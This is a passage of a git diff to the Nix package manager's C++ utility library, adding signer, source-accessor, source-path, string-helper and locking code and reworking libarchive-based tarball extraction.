+LocalSigner::LocalSigner(SecretKey && privateKey) + : privateKey(privateKey) + , publicKey(privateKey.toPublicKey()) +{ } + +std::string LocalSigner::signDetached(std::string_view s) const +{ + return privateKey.signDetached(s); +} + +const PublicKey & LocalSigner::getPublicKey() +{ + return publicKey; +} + +} diff --git a/src/libutil/signature/signer.hh b/src/libutil/signature/signer.hh new file mode 100644 index 000000000..e50170fe2 --- /dev/null +++ b/src/libutil/signature/signer.hh @@ -0,0 +1,61 @@ +#pragma once + +#include "types.hh" +#include "signature/local-keys.hh" + +#include +#include + +namespace nix { + +/** + * An abstract signer + * + * Derive from this class to implement a custom signature scheme. + * + * It is only necessary to implement signature of bytes and provide a + * public key. + */ +struct Signer +{ + virtual ~Signer() = default; + + /** + * Sign the given data, creating a (detached) signature. + * + * @param data data to be signed. + * + * @return the [detached + * signature](https://en.wikipedia.org/wiki/Detached_signature), + * i.e. just the signature itself without a copy of the signed data. + */ + virtual std::string signDetached(std::string_view data) const = 0; + + /** + * View the public key associated with this `Signer`. + */ + virtual const PublicKey & getPublicKey() = 0; +}; + +using Signers = std::map; + +/** + * Local signer + * + * The private key is held in this machine's RAM + */ +struct LocalSigner : Signer +{ + LocalSigner(SecretKey && privateKey); + + std::string signDetached(std::string_view s) const override; + + const PublicKey & getPublicKey() override; + +private: + + SecretKey privateKey; + PublicKey publicKey; +}; + +} diff --git a/src/libutil/source-accessor.cc b/src/libutil/source-accessor.cc new file mode 100644 index 000000000..e797951c7 --- /dev/null +++ b/src/libutil/source-accessor.cc @@ -0,0 +1,108 @@ +#include "source-accessor.hh" +#include "archive.hh" + +namespace nix { + +static std::atomic nextNumber{0}; + +SourceAccessor::SourceAccessor() + : number(++nextNumber) + , displayPrefix{"«unknown»"} +{ +} + +bool SourceAccessor::pathExists(const CanonPath & path) +{ + return maybeLstat(path).has_value(); +} + +std::string SourceAccessor::readFile(const CanonPath & path) +{ + StringSink sink; + std::optional size; + readFile(path, sink, [&](uint64_t _size) + { + size = _size; + }); + assert(size && *size == sink.s.size()); + return std::move(sink.s); +} + +void SourceAccessor::readFile( + const CanonPath & path, + Sink & sink, + std::function sizeCallback) +{ + auto s = readFile(path); + sizeCallback(s.size()); + sink(s); +} + +Hash SourceAccessor::hashPath( + const CanonPath & path, + PathFilter & filter, + HashAlgorithm ha) +{ + HashSink sink(ha); + dumpPath(path, sink, filter); + return sink.finish().first; +} + +SourceAccessor::Stat SourceAccessor::lstat(const CanonPath & path) +{ + if (auto st = maybeLstat(path)) + return *st; + else + throw FileNotFound("path '%s' does not exist", showPath(path)); +} + +void SourceAccessor::setPathDisplay(std::string displayPrefix, std::string displaySuffix) +{ + this->displayPrefix = std::move(displayPrefix); + this->displaySuffix = std::move(displaySuffix); +} + +std::string SourceAccessor::showPath(const CanonPath & path) +{ + return displayPrefix + path.abs() + displaySuffix; +} + +CanonPath SourceAccessor::resolveSymlinks( + const CanonPath & path, + SymlinkResolution mode) +{ + auto res = CanonPath::root; + + int linksAllowed = 1024; + + std::list todo; + for (auto & c : path) + todo.push_back(std::string(c)); + + while (!todo.empty()) { + auto c = *todo.begin(); + todo.pop_front(); + if (c == "" || c == ".") + ; + else if (c == "..") + res.pop(); + else { + res.push(c); + if (mode == SymlinkResolution::Full || !todo.empty()) { + if (auto st = maybeLstat(res); st && st->type == SourceAccessor::tSymlink) { + if (!linksAllowed--) + throw Error("infinite symlink recursion in path '%s'", showPath(path)); + auto target = readLink(res); + res.pop(); + if (hasPrefix(target, "/")) + res = CanonPath::root; + todo.splice(todo.begin(), tokenizeString>(target, "/")); + } + } + } + } + + return res; +} + +} diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh new file mode 100644 index 000000000..b16960d4a --- /dev/null +++ b/src/libutil/source-accessor.hh @@ -0,0 +1,213 @@ +#pragma once + +#include + +#include "canon-path.hh" +#include "hash.hh" +#include "ref.hh" + +namespace nix { + +struct Sink; + +/** + * Note there is a decent chance this type soon goes away because the problem is solved another way. + * See the discussion in https://github.com/NixOS/nix/pull/9985. + */ +enum class SymlinkResolution { + /** + * Resolve symlinks in the ancestors only. + * + * Only the last component of the result is possibly a symlink. + */ + Ancestors, + + /** + * Resolve symlinks fully, realpath(3)-style. + * + * No component of the result will be a symlink. + */ + Full, +}; + +MakeError(FileNotFound, Error); + +/** + * A read-only filesystem abstraction. This is used by the Nix + * evaluator and elsewhere for accessing sources in various + * filesystem-like entities (such as the real filesystem, tarballs or + * Git repositories). + */ +struct SourceAccessor : std::enable_shared_from_this +{ + const size_t number; + + std::string displayPrefix, displaySuffix; + + SourceAccessor(); + + virtual ~SourceAccessor() + { } + + /** + * Return the contents of a file as a string. + * + * @note Unlike Unix, this method should *not* follow symlinks. Nix + * by default wants to manipulate symlinks explicitly, and not + * implictly follow them, as they are frequently untrusted user data + * and thus may point to arbitrary locations. Acting on the targets + * targets of symlinks should only occasionally be done, and only + * with care. + */ + virtual std::string readFile(const CanonPath & path); + + /** + * Write the contents of a file as a sink. `sizeCallback` must be + * called with the size of the file before any data is written to + * the sink. + * + * @note Like the other `readFile`, this method should *not* follow + * symlinks. + * + * @note subclasses of `SourceAccessor` need to implement at least + * one of the `readFile()` variants. + */ + virtual void readFile( + const CanonPath & path, + Sink & sink, + std::function sizeCallback = [](uint64_t size){}); + + virtual bool pathExists(const CanonPath & path); + + enum Type { + tRegular, tSymlink, tDirectory, + /** + Any other node types that may be encountered on the file system, such as device nodes, sockets, named pipe, and possibly even more exotic things. + + Responsible for `"unknown"` from `builtins.readFileType "/dev/null"`. + + Unlike `DT_UNKNOWN`, this must not be used for deferring the lookup of types. + */ + tMisc + }; + + struct Stat + { + Type type = tMisc; + + /** + * For regular files only: the size of the file. Not all + * accessors return this since it may be too expensive to + * compute. + */ + std::optional fileSize; + + /** + * For regular files only: whether this is an executable. + */ + bool isExecutable = false; + + /** + * For regular files only: the position of the contents of this + * file in the NAR. Only returned by NAR accessors. + */ + std::optional narOffset; + }; + + Stat lstat(const CanonPath & path); + + virtual std::optional maybeLstat(const CanonPath & path) = 0; + + typedef std::optional DirEntry; + + typedef std::map DirEntries; + + /** + * @note Like `readFile`, this method should *not* follow symlinks. + */ + virtual DirEntries readDirectory(const CanonPath & path) = 0; + + virtual std::string readLink(const CanonPath & path) = 0; + + virtual void dumpPath( + const CanonPath & path, + Sink & sink, + PathFilter & filter = defaultPathFilter); + + Hash hashPath( + const CanonPath & path, + PathFilter & filter = defaultPathFilter, + HashAlgorithm ha = HashAlgorithm::SHA256); + + /** + * Return a corresponding path in the root filesystem, if + * possible. This is only possible for filesystems that are + * materialized in the root filesystem. + */ + virtual std::optional getPhysicalPath(const CanonPath & path) + { return std::nullopt; } + + bool operator == (const SourceAccessor & x) const + { + return number == x.number; + } + + auto operator <=> (const SourceAccessor & x) const + { + return number <=> x.number; + } + + void setPathDisplay(std::string displayPrefix, std::string displaySuffix = ""); + + virtual std::string showPath(const CanonPath & path); + + /** + * Resolve any symlinks in `path` according to the given + * resolution mode. + * + * @param mode might only be a temporary solution for this. + * See the discussion in https://github.com/NixOS/nix/pull/9985. + */ + CanonPath resolveSymlinks( + const CanonPath & path, + SymlinkResolution mode = SymlinkResolution::Full); + + /** + * A string that uniquely represents the contents of this + * accessor. This is used for caching lookups (see `fetchToStore()`). + */ + std::optional fingerprint; + + /** + * Return the maximum last-modified time of the files in this + * tree, if available. + */ + virtual std::optional getLastModified() + { return std::nullopt; } +}; + +/** + * Return a source accessor that contains only an empty root directory. + */ +ref makeEmptySourceAccessor(); + +/** + * Exception thrown when accessing a filtered path (see + * `FilteringSourceAccessor`). + */ +MakeError(RestrictedPathError, Error); + +/** + * Return an accessor for the root filesystem. + */ +ref getFSSourceAccessor(); + +/** + * Construct an accessor for the filesystem rooted at `root`. Note + * that it is not possible to escape `root` by appending `..` path + * elements, and that absolute symlinks are resolved relative to + * `root`. + */ +ref makeFSSourceAccessor(std::filesystem::path root); + +} diff --git a/src/libutil/source-path.cc b/src/libutil/source-path.cc new file mode 100644 index 000000000..759d3c355 --- /dev/null +++ b/src/libutil/source-path.cc @@ -0,0 +1,66 @@ +#include "source-path.hh" + +namespace nix { + +std::string_view SourcePath::baseName() const +{ return path.baseName().value_or("source"); } + +SourcePath SourcePath::parent() const +{ + auto p = path.parent(); + assert(p); + return {accessor, std::move(*p)}; +} + +std::string SourcePath::readFile() const +{ return accessor->readFile(path); } + +bool SourcePath::pathExists() const +{ return accessor->pathExists(path); } + +SourceAccessor::Stat SourcePath::lstat() const +{ return accessor->lstat(path); } + +std::optional SourcePath::maybeLstat() const +{ return accessor->maybeLstat(path); } + +SourceAccessor::DirEntries SourcePath::readDirectory() const +{ return accessor->readDirectory(path); } + +std::string SourcePath::readLink() const +{ return accessor->readLink(path); } + +void SourcePath::dumpPath( + Sink & sink, + PathFilter & filter) const +{ return accessor->dumpPath(path, sink, filter); } + +std::optional SourcePath::getPhysicalPath() const +{ return accessor->getPhysicalPath(path); } + +std::string SourcePath::to_string() const +{ return accessor->showPath(path); } + +SourcePath SourcePath::operator / (const CanonPath & x) const +{ return {accessor, path / x}; } + +SourcePath SourcePath::operator / (std::string_view c) const +{ return {accessor, path / c}; } + +bool SourcePath::operator==(const SourcePath & x) const noexcept +{ + return std::tie(*accessor, path) == std::tie(*x.accessor, x.path); +} + +std::strong_ordering SourcePath::operator<=>(const SourcePath & x) const noexcept +{ + return std::tie(*accessor, path) <=> std::tie(*x.accessor, x.path); +} + +std::ostream & operator<<(std::ostream & str, const SourcePath & path) +{ + str << path.to_string(); + return str; +} + +} diff --git a/src/libutil/source-path.hh b/src/libutil/source-path.hh new file mode 100644 index 000000000..fc2288f74 --- /dev/null +++ b/src/libutil/source-path.hh @@ -0,0 +1,135 @@ +#pragma once +/** + * @file + * + * @brief SourcePath + */ + +#include "ref.hh" +#include "canon-path.hh" +#include "source-accessor.hh" +#include "std-hash.hh" + +namespace nix { + +/** + * An abstraction for accessing source files during + * evaluation. Currently, it's just a wrapper around `CanonPath` that + * accesses files in the regular filesystem, but in the future it will + * support fetching files in other ways. + */ +struct SourcePath +{ + ref accessor; + CanonPath path; + + SourcePath(ref accessor, CanonPath path = CanonPath::root) + : accessor(std::move(accessor)) + , path(std::move(path)) + { } + + std::string_view baseName() const; + + /** + * Construct the parent of this `SourcePath`. Aborts if `this` + * denotes the root. + */ + SourcePath parent() const; + + /** + * If this `SourcePath` denotes a regular file (not a symlink), + * return its contents; otherwise throw an error. + */ + std::string readFile() const; + + void readFile( + Sink & sink, + std::function sizeCallback = [](uint64_t size){}) const + { return accessor->readFile(path, sink, sizeCallback); } + + /** + * Return whether this `SourcePath` denotes a file (of any type) + * that exists + */ + bool pathExists() const; + + /** + * Return stats about this `SourcePath`, or throw an exception if + * it doesn't exist. + */ + SourceAccessor::Stat lstat() const; + + /** + * Return stats about this `SourcePath`, or std::nullopt if it + * doesn't exist. + */ + std::optional maybeLstat() const; + + /** + * If this `SourcePath` denotes a directory (not a symlink), + * return its directory entries; otherwise throw an error. + */ + SourceAccessor::DirEntries readDirectory() const; + + /** + * If this `SourcePath` denotes a symlink, return its target; + * otherwise throw an error. + */ + std::string readLink() const; + + /** + * Dump this `SourcePath` to `sink` as a NAR archive. + */ + void dumpPath( + Sink & sink, + PathFilter & filter = defaultPathFilter) const; + + /** + * Return the location of this path in the "real" filesystem, if + * it has a physical location. + */ + std::optional getPhysicalPath() const; + + std::string to_string() const; + + /** + * Append a `CanonPath` to this path. + */ + SourcePath operator / (const CanonPath & x) const; + + /** + * Append a single component `c` to this path. `c` must not + * contain a slash. A slash is implicitly added between this path + * and `c`. + */ + SourcePath operator / (std::string_view c) const; + + bool operator==(const SourcePath & x) const noexcept; + std::strong_ordering operator<=>(const SourcePath & x) const noexcept; + + /** + * Convenience wrapper around `SourceAccessor::resolveSymlinks()`. + */ + SourcePath resolveSymlinks( + SymlinkResolution mode = SymlinkResolution::Full) const + { + return {accessor, accessor->resolveSymlinks(path, mode)}; + } + + friend class std::hash; +}; + +std::ostream & operator << (std::ostream & str, const SourcePath & path); + +} + +template<> +struct std::hash +{ + std::size_t operator()(const nix::SourcePath & s) const noexcept + { + std::size_t hash = 0; + hash_combine(hash, s.accessor->number, s.path); + return hash; + } +}; diff --git a/src/libutil/split.hh b/src/libutil/split.hh index 87a23b13e..3b9b2b83b 100644 --- a/src/libutil/split.hh +++ b/src/libutil/split.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include #include @@ -7,10 +8,12 @@ namespace nix { -// If `separator` is found, we return the portion of the string before the -// separator, and modify the string argument to contain only the part after the -// separator. Otherwise, we return `std::nullopt`, and we leave the argument -// string alone. +/** + * If `separator` is found, we return the portion of the string before the + * separator, and modify the string argument to contain only the part after the + * separator. Otherwise, we return `std::nullopt`, and we leave the argument + * string alone. + */ static inline std::optional splitPrefixTo(std::string_view & string, char separator) { auto sepInstance = string.find(separator); diff --git a/src/libutil/std-hash.hh b/src/libutil/std-hash.hh new file mode 100644 index 000000000..c359d11ca --- /dev/null +++ b/src/libutil/std-hash.hh @@ -0,0 +1,24 @@ +#pragma once + +//!@file Hashing utilities for use with unordered_map, etc. (ie low level implementation logic, not domain logic like +//! Nix hashing) + +#include + +namespace nix { + +/** + * hash_combine() from Boost. Hash several hashable values together + * into a single hash. + */ +inline void hash_combine(std::size_t & seed) {} + +template +inline void hash_combine(std::size_t & seed, const T & v, Rest... rest) +{ + std::hash hasher; + seed ^= hasher(v) + 0x9e3779b9 + (seed << 6) + (seed >> 2); + hash_combine(seed, rest...); +} + +} // namespace nix diff --git a/src/libutil/strings-inline.hh b/src/libutil/strings-inline.hh new file mode 100644 index 000000000..25b8e0ff6 --- /dev/null +++ b/src/libutil/strings-inline.hh @@ -0,0 +1,106 @@ +#pragma once + +#include "strings.hh" + +namespace nix { + +template +C basicTokenizeString(std::basic_string_view s, std::basic_string_view separators) +{ + C result; + auto pos = s.find_first_not_of(separators, 0); + while (pos != s.npos) { + auto end = s.find_first_of(separators, pos + 1); + if (end == s.npos) + end = s.size(); + result.insert(result.end(), std::basic_string(s, pos, end - pos)); + pos = s.find_first_not_of(separators, end); + } + return result; +} + +template +C tokenizeString(std::string_view s, std::string_view separators) +{ + return basicTokenizeString(s, separators); +} + +template +C basicSplitString(std::basic_string_view s, std::basic_string_view separators) +{ + C result; + size_t pos = 0; + while (pos <= s.size()) { + auto end = s.find_first_of(separators, pos); + if (end == s.npos) + end = s.size(); + result.insert(result.end(), std::basic_string(s, pos, end - pos)); + pos = end + 1; + } + + return result; +} + +template +C splitString(std::string_view s, std::string_view separators) +{ + return basicSplitString(s, separators); +} + +template +std::basic_string basicConcatStringsSep(const std::basic_string_view sep, const C & ss) +{ + size_t size = 0; + bool tail = false; + // need a cast to string_view since this is also called with Symbols + for (const auto & s : ss) { + if (tail) + size += sep.size(); + size += std::basic_string_view{s}.size(); + tail = true; + } + std::basic_string s; + s.reserve(size); + tail = false; + for (auto & i : ss) { + if (tail) + s += sep; + s += i; + tail = true; + } + return s; +} + +template +std::string concatStringsSep(const std::string_view sep, const C & ss) +{ + return basicConcatStringsSep(sep, ss); +} + +template +std::string dropEmptyInitThenConcatStringsSep(const std::string_view sep, const C & ss) +{ + size_t size = 0; + + // TODO? remove to make sure we don't rely on the empty item ignoring behavior, + // or just get rid of this function by understanding the remaining calls. + // for (auto & i : ss) { + // // Make sure we don't rely on the empty item ignoring behavior + // assert(!i.empty()); + // break; + // } + + // need a cast to string_view since this is also called with Symbols + for (const auto & s : ss) + size += sep.size() + std::string_view(s).size(); + std::string s; + s.reserve(size); + for (auto & i : ss) { + if (s.size() != 0) + s += sep; + s += i; + } + return s; +} + +} // namespace nix diff --git a/src/libutil/strings.cc b/src/libutil/strings.cc new file mode 100644 index 000000000..60297228e --- /dev/null +++ b/src/libutil/strings.cc @@ -0,0 +1,35 @@ +#include +#include + +#include "strings-inline.hh" +#include "os-string.hh" + +namespace nix { + +template std::list tokenizeString(std::string_view s, std::string_view separators); +template std::set tokenizeString(std::string_view s, std::string_view separators); +template std::vector tokenizeString(std::string_view s, std::string_view separators); + +template std::list splitString(std::string_view s, std::string_view separators); +template std::set splitString(std::string_view s, std::string_view separators); +template std::vector splitString(std::string_view s, std::string_view separators); + +template std::list basicSplitString( + std::basic_string_view s, std::basic_string_view separators); + +template std::string concatStringsSep(std::string_view, const std::list &); +template std::string concatStringsSep(std::string_view, const std::set &); +template std::string concatStringsSep(std::string_view, const std::vector &); + +typedef std::string_view strings_2[2]; +template std::string concatStringsSep(std::string_view, const strings_2 &); +typedef std::string_view strings_3[3]; +template std::string concatStringsSep(std::string_view, const strings_3 &); +typedef std::string_view strings_4[4]; +template std::string concatStringsSep(std::string_view, const strings_4 &); + +template std::string dropEmptyInitThenConcatStringsSep(std::string_view, const std::list &); +template std::string dropEmptyInitThenConcatStringsSep(std::string_view, const std::set &); +template std::string dropEmptyInitThenConcatStringsSep(std::string_view, const std::vector &); + +} // namespace nix diff --git a/src/libutil/strings.hh b/src/libutil/strings.hh new file mode 100644 index 000000000..88b48d770 --- /dev/null +++ b/src/libutil/strings.hh @@ -0,0 +1,69 @@ +#pragma once + +#include +#include +#include +#include +#include + +namespace nix { + +/** + * String tokenizer. + * + * See also `basicSplitString()`, which preserves empty strings between separators, as well as at the start and end. + */ +template +C basicTokenizeString(std::basic_string_view s, std::basic_string_view separators); + +/** + * Like `basicTokenizeString` but specialized to the default `char` + */ +template +C tokenizeString(std::string_view s, std::string_view separators = " \t\n\r"); + +extern template std::list tokenizeString(std::string_view s, std::string_view separators); +extern template std::set tokenizeString(std::string_view s, std::string_view separators); +extern template std::vector tokenizeString(std::string_view s, std::string_view separators); + +/** + * Split a string, preserving empty strings between separators, as well as at the start and end. + * + * Returns a non-empty collection of strings. + */ +template +C basicSplitString(std::basic_string_view s, std::basic_string_view separators); +template +C splitString(std::string_view s, std::string_view separators); + +extern template std::list splitString(std::string_view s, std::string_view separators); +extern template std::set splitString(std::string_view s, std::string_view separators); +extern template std::vector splitString(std::string_view s, std::string_view separators); + +/** + * Concatenate the given strings with a separator between the elements. + */ +template +std::string concatStringsSep(const std::string_view sep, const C & ss); + +extern template std::string concatStringsSep(std::string_view, const std::list &); +extern template std::string concatStringsSep(std::string_view, const std::set &); +extern template std::string concatStringsSep(std::string_view, const std::vector &); + +/** + * Ignore any empty strings at the start of the list, and then concatenate the + * given strings with a separator between the elements. + * + * @deprecated This function exists for historical reasons. You probably just + * want to use `concatStringsSep`. + */ +template +[[deprecated( + "Consider removing the empty string dropping behavior. If acceptable, use concatStringsSep instead.")]] std::string +dropEmptyInitThenConcatStringsSep(const std::string_view sep, const C & ss); + +extern template std::string dropEmptyInitThenConcatStringsSep(std::string_view, const std::list &); +extern template std::string dropEmptyInitThenConcatStringsSep(std::string_view, const std::set &); +extern template std::string dropEmptyInitThenConcatStringsSep(std::string_view, const std::vector &); + +} diff --git a/src/libutil/suggestions.cc b/src/libutil/suggestions.cc index 9510a5f0c..84c8e296f 100644 --- a/src/libutil/suggestions.cc +++ b/src/libutil/suggestions.cc @@ -1,7 +1,9 @@ #include "suggestions.hh" #include "ansicolor.hh" -#include "util.hh" +#include "terminal.hh" + #include +#include namespace nix { @@ -36,8 +38,8 @@ int levenshteinDistance(std::string_view first, std::string_view second) } Suggestions Suggestions::bestMatches ( - std::set allMatches, - std::string query) + const std::set & allMatches, + std::string_view query) { std::set res; for (const auto & possibleMatch : allMatches) { diff --git a/src/libutil/suggestions.hh b/src/libutil/suggestions.hh index d54dd8e31..e39ab400c 100644 --- a/src/libutil/suggestions.hh +++ b/src/libutil/suggestions.hh @@ -1,6 +1,6 @@ #pragma once +///@file -#include "comparator.hh" #include "types.hh" #include @@ -13,12 +13,14 @@ int levenshteinDistance(std::string_view first, std::string_view second); */ class Suggestion { public: - int distance; // The smaller the better + /// The smaller the better + int distance; std::string suggestion; std::string to_string() const; - GENERATE_CMP(Suggestion, me->distance, me->suggestion) + bool operator ==(const Suggestion &) const = default; + auto operator <=>(const Suggestion &) const = default; }; class Suggestions { @@ -33,8 +35,8 @@ public: ) const; static Suggestions bestMatches ( - std::set allMatches, - std::string query + const std::set & allMatches, + std::string_view query ); Suggestions& operator+=(const Suggestions & other); @@ -43,7 +45,9 @@ public: std::ostream & operator<<(std::ostream & str, const Suggestion &); std::ostream & operator<<(std::ostream & str, const Suggestions &); -// Either a value of type `T`, or some suggestions +/** + * Either a value of type `T`, or some suggestions + */ template class OrSuggestions { public: diff --git a/src/libutil/sync.hh b/src/libutil/sync.hh index e1d591d77..d340f3d97 100644 --- a/src/libutil/sync.hh +++ b/src/libutil/sync.hh @@ -1,30 +1,34 @@ #pragma once +///@file #include #include +#include #include #include +#include "error.hh" + namespace nix { -/* This template class ensures synchronized access to a value of type - T. It is used as follows: - - struct Data { int x; ... }; - - Sync data; - - { - auto data_(data.lock()); - data_->x = 123; - } - - Here, "data" is automatically unlocked when "data_" goes out of - scope. -*/ - -template -class Sync +/** + * This template class ensures synchronized access to a value of type + * T. It is used as follows: + * + * struct Data { int x; ... }; + * + * Sync data; + * + * { + * auto data_(data.lock()); + * data_->x = 123; + * } + * + * Here, "data" is automatically unlocked when "data_" goes out of + * scope. + */ +template +class SyncBase { private: M mutex; @@ -32,23 +36,22 @@ private: public: - Sync() { } - Sync(const T & data) : data(data) { } - Sync(T && data) noexcept : data(std::move(data)) { } + SyncBase() { } + SyncBase(const T & data) : data(data) { } + SyncBase(T && data) noexcept : data(std::move(data)) { } + template class Lock { - private: - Sync * s; - std::unique_lock lk; - friend Sync; - Lock(Sync * s) : s(s), lk(s->mutex) { } + protected: + SyncBase * s; + L lk; + friend SyncBase; + Lock(SyncBase * s) : s(s), lk(s->mutex) { } public: - Lock(Lock && l) : s(l.s) { abort(); } + Lock(Lock && l) : s(l.s) { unreachable(); } Lock(const Lock & l) = delete; ~Lock() { } - T * operator -> () { return &s->data; } - T & operator * () { return s->data; } void wait(std::condition_variable & cv) { @@ -82,7 +85,34 @@ public: } }; - Lock lock() { return Lock(this); } + struct WriteLock : Lock + { + T * operator -> () { return &WriteLock::s->data; } + T & operator * () { return WriteLock::s->data; } + }; + + /** + * Acquire write (exclusive) access to the inner value. + */ + WriteLock lock() { return WriteLock(this); } + + struct ReadLock : Lock + { + const T * operator -> () { return &ReadLock::s->data; } + const T & operator * () { return ReadLock::s->data; } + }; + + /** + * Acquire read access to the inner value. When using + * `std::shared_mutex`, this will use a shared lock. + */ + ReadLock readLock() const { return ReadLock(const_cast(this)); } }; +template +using Sync = SyncBase, std::unique_lock>; + +template +using SharedSync = SyncBase, std::shared_lock>; + } diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index 238d0a7a6..2e3236295 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -1,23 +1,27 @@ #include #include +#include "finally.hh" #include "serialise.hh" #include "tarfile.hh" +#include "file-system.hh" namespace nix { -static int callback_open(struct archive *, void * self) +namespace { + +int callback_open(struct archive *, void * self) { return ARCHIVE_OK; } -static ssize_t callback_read(struct archive * archive, void * _self, const void * * buffer) +ssize_t callback_read(struct archive * archive, void * _self, const void ** buffer) { auto self = (TarArchive *) _self; *buffer = self->buffer.data(); try { - return self->source->read((char *) self->buffer.data(), 4096); + return self->source->read((char *) self->buffer.data(), self->buffer.size()); } catch (EndOfFile &) { return 0; } catch (std::exception & err) { @@ -26,42 +30,85 @@ static ssize_t callback_read(struct archive * archive, void * _self, const void } } -static int callback_close(struct archive *, void * self) +int callback_close(struct archive *, void * self) { return ARCHIVE_OK; } -void TarArchive::check(int err, const std::string & reason) +void checkLibArchive(archive * archive, int err, const std::string & reason) { if (err == ARCHIVE_EOF) throw EndOfFile("reached end of archive"); else if (err != ARCHIVE_OK) - throw Error(reason, archive_error_string(this->archive)); + throw Error(reason, archive_error_string(archive)); } -TarArchive::TarArchive(Source & source, bool raw) : buffer(4096) -{ - this->archive = archive_read_new(); - this->source = &source; +constexpr auto defaultBufferSize = std::size_t{65536}; +} - if (!raw) { +void TarArchive::check(int err, const std::string & reason) +{ + checkLibArchive(archive, err, reason); +} + +/// @brief Get filter_code from its name. +/// +/// libarchive does not provide a convenience function like archive_write_add_filter_by_name but for reading. +/// Instead it's necessary to use this kludge to convert method -> code and +/// then use archive_read_support_filter_by_code. Arguably this is better than +/// hand-rolling the equivalent function that is better implemented in libarchive. +int getArchiveFilterCodeByName(const std::string & method) +{ + auto * ar = archive_write_new(); + auto cleanup = Finally{[&ar]() { checkLibArchive(ar, archive_write_close(ar), "failed to close archive: %s"); }}; + auto err = archive_write_add_filter_by_name(ar, method.c_str()); + checkLibArchive(ar, err, "failed to get libarchive filter by name: %s"); + auto code = archive_filter_code(ar, 0); + return code; +} + +static void enableSupportedFormats(struct archive * archive) +{ + archive_read_support_format_tar(archive); + archive_read_support_format_zip(archive); + + /* Enable support for empty files so we don't throw an exception + for empty HTTP 304 "Not modified" responses. See + downloadTarball(). */ + archive_read_support_format_empty(archive); +} + +TarArchive::TarArchive(Source & source, bool raw, std::optional compression_method) + : archive{archive_read_new()} + , source{&source} + , buffer(defaultBufferSize) +{ + if (!compression_method) { archive_read_support_filter_all(archive); - archive_read_support_format_all(archive); } else { - archive_read_support_filter_all(archive); + archive_read_support_filter_by_code(archive, getArchiveFilterCodeByName(*compression_method)); + } + + if (!raw) + enableSupportedFormats(archive); + else { archive_read_support_format_raw(archive); archive_read_support_format_empty(archive); } - check(archive_read_open(archive, (void *)this, callback_open, callback_read, callback_close), "Failed to open archive (%s)"); + + archive_read_set_option(archive, NULL, "mac-ext", NULL); + check( + archive_read_open(archive, (void *) this, callback_open, callback_read, callback_close), + "Failed to open archive (%s)"); } - TarArchive::TarArchive(const Path & path) + : archive{archive_read_new()} + , buffer(defaultBufferSize) { - this->archive = archive_read_new(); - archive_read_support_filter_all(archive); - archive_read_support_format_all(archive); + enableSupportedFormats(archive); + archive_read_set_option(archive, NULL, "mac-ext", NULL); check(archive_read_open_filename(archive, path.c_str(), 16384), "failed to open archive: %s"); } @@ -72,19 +119,19 @@ void TarArchive::close() TarArchive::~TarArchive() { - if (this->archive) archive_read_free(this->archive); + if (this->archive) + archive_read_free(this->archive); } static void extract_archive(TarArchive & archive, const Path & destDir) { - int flags = ARCHIVE_EXTRACT_TIME - | ARCHIVE_EXTRACT_SECURE_SYMLINKS - | ARCHIVE_EXTRACT_SECURE_NODOTDOT; + int flags = ARCHIVE_EXTRACT_TIME | ARCHIVE_EXTRACT_SECURE_SYMLINKS | ARCHIVE_EXTRACT_SECURE_NODOTDOT; for (;;) { struct archive_entry * entry; int r = archive_read_next_header(archive.archive, &entry); - if (r == ARCHIVE_EOF) break; + if (r == ARCHIVE_EOF) + break; auto name = archive_entry_pathname(entry); if (!name) throw Error("cannot get archive member name: %s", archive_error_string(archive.archive)); @@ -93,18 +140,16 @@ static void extract_archive(TarArchive & archive, const Path & destDir) else archive.check(r); - archive_entry_copy_pathname(entry, - (destDir + "/" + name).c_str()); + archive_entry_copy_pathname(entry, (destDir + "/" + name).c_str()); // sources can and do contain dirs with no rx bits if (archive_entry_filetype(entry) == AE_IFDIR && (archive_entry_mode(entry) & 0500) != 0500) archive_entry_set_mode(entry, archive_entry_mode(entry) | 0500); // Patch hardlink path - const char *original_hardlink = archive_entry_hardlink(entry); + const char * original_hardlink = archive_entry_hardlink(entry); if (original_hardlink) { - archive_entry_copy_hardlink(entry, - (destDir + "/" + original_hardlink).c_str()); + archive_entry_copy_hardlink(entry, (destDir + "/" + original_hardlink).c_str()); } archive.check(archive_read_extract(archive.archive, entry, flags)); @@ -129,4 +174,74 @@ void unpackTarfile(const Path & tarFile, const Path & destDir) extract_archive(archive, destDir); } +time_t unpackTarfileToSink(TarArchive & archive, ExtendedFileSystemObjectSink & parseSink) +{ + time_t lastModified = 0; + + for (;;) { + // FIXME: merge with extract_archive + struct archive_entry * entry; + int r = archive_read_next_header(archive.archive, &entry); + if (r == ARCHIVE_EOF) + break; + auto path = archive_entry_pathname(entry); + if (!path) + throw Error("cannot get archive member name: %s", archive_error_string(archive.archive)); + auto cpath = CanonPath{path}; + if (r == ARCHIVE_WARN) + warn(archive_error_string(archive.archive)); + else + archive.check(r); + + lastModified = std::max(lastModified, archive_entry_mtime(entry)); + + if (auto target = archive_entry_hardlink(entry)) { + parseSink.createHardlink(cpath, CanonPath(target)); + continue; + } + + switch (auto type = archive_entry_filetype(entry)) { + + case AE_IFDIR: + parseSink.createDirectory(cpath); + break; + + case AE_IFREG: { + parseSink.createRegularFile(cpath, [&](auto & crf) { + if (archive_entry_mode(entry) & S_IXUSR) + crf.isExecutable(); + + while (true) { + std::vector buf(128 * 1024); + auto n = archive_read_data(archive.archive, buf.data(), buf.size()); + if (n < 0) + throw Error("cannot read file '%s' from tarball", path); + if (n == 0) + break; + crf(std::string_view{ + (const char *) buf.data(), + (size_t) n, + }); + } + }); + + break; + } + + case AE_IFLNK: { + auto target = archive_entry_symlink(entry); + + parseSink.createSymlink(cpath, target); + + break; + } + + default: + throw Error("file '%s' in tarball has unsupported file type %d", path, type); + } + } + + return lastModified; +} + } diff --git a/src/libutil/tarfile.hh b/src/libutil/tarfile.hh index 4d9141fd4..0517177db 100644 --- a/src/libutil/tarfile.hh +++ b/src/libutil/tarfile.hh @@ -1,28 +1,46 @@ +#pragma once +///@file + #include "serialise.hh" +#include "fs-sink.hh" #include namespace nix { -struct TarArchive { +struct TarArchive +{ struct archive * archive; Source * source; std::vector buffer; void check(int err, const std::string & reason = "failed to extract archive (%s)"); - TarArchive(Source & source, bool raw = false); + explicit TarArchive(const Path & path); - TarArchive(const Path & path); + /// @brief Create a generic archive from source. + /// @param source - Input byte 